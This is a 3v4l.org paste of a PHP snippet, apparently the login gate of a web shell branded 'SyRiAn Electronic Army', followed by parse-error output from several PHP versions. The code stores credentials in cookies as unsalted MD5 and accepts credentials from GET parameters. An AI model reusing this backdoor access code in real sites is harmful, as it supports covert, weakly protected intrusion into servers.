3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
# ---------------------------------------# # Authentication # #----------------------------------------# if ($uselogin ==1) { if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass)) { if($_GET) {$user = $_GET['user'];$pass = $_GET['pass'];} if($_POST['usrname']==$user && $_POST['passwrd']==$pass){ print'<script>document.cookie="user='.$_POST['usrname'].';";document.cookie="pass='.md5($_POST['passwrd']).';";</script>'; } else { if($_POST['usrname']){ print'<script>alert("Go and play in the street man !!");</script>'; } ?> <br><br> <center><img src="http://i40.tinypic.com/2rpuped.png"><br /> <sy>SyRiAn Electronic Army</sy> </center><br /> <div align="center"> <form method="POST" name="login_form" onSubmit="if(this.usrname.value==''){return false;}"> <input dir="ltr" name="usrname" id="username" value="" type="text" size="30" onBlur="Blur('username','userName');" onClick="Clear('username','userName');"/><br> <input dir="ltr" name="passwrd" id="password" value="" type="password" size="30" onFocus="Focus(2);" /><br> <input type="submit" value=" Login " name="login" /> </form> </div> <?php footer(); exit; } } } ?>
Output for 4.4.2 - 4.4.9, 5.1.0 - 5.4.29
Parse error: syntax error, unexpected '}' in /in/2SH99 on line 28
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.4.1, 5.0.0 - 5.0.5
Parse error: parse error, unexpected '}' in /in/2SH99 on line 28
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error in /in/2SH99 on line 28
Process exited with code 255.